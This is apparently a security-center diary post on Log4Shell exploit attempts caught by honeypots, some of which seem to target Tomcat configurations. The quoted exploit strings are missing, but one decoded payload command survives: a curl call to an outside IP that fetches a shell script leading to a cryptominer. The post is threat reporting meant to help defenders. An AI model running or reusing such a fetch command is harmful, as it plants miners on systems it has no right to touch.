Ever since news of the Log4Shell vulnerability broke, we saw a stream of attacks attempting to exploit this vulnerability in log4j (CVE-2021-44228).
Initial attempts where rather "blunt", and attempted to insert the JNDI exploit string into various fields without much concern how and where the string may be logged. More recently, we did some however some more specific exploits targeting specific software configurations. Most notably, exploit have been released for Unifi's network controller and VMWare.
Today for example, we saw some exploit strings that may be targeting Tomcat configurations:
This decodes to:
With the Base64 part decoding to: curl 188.8.131.52/mad.sh . This will lead, after many redirects and the like, to a good old xmrig miner. Maybe something for a later day as there are some interesting tidbits in the various shell scripts downloaded.
A second, similar attempt was found in about two dozens of our honeypots:
The URL retrieved by this attempt is no longer available, but given the similar method, chances are it is yet another crypto minder.
A few things to look for:
But then again, if you need IoCs like this to detect crypto miners: Reassess what kind of monitoring you do on more basic parameters like CPU load and rogue processes running on systems.
The news around log4shell has gotten quiet, but it isn't over yet. Attacks keep evolving and do not consider this a non-event if none of the initial "pray and spray" attacks affected you.Application Security: Securing Web Apps, APIs, and Microservices - SANS London June 2022
Jan 17th 2022
|Thread locked Subscribe||
Jan 17th 2022
3 months ago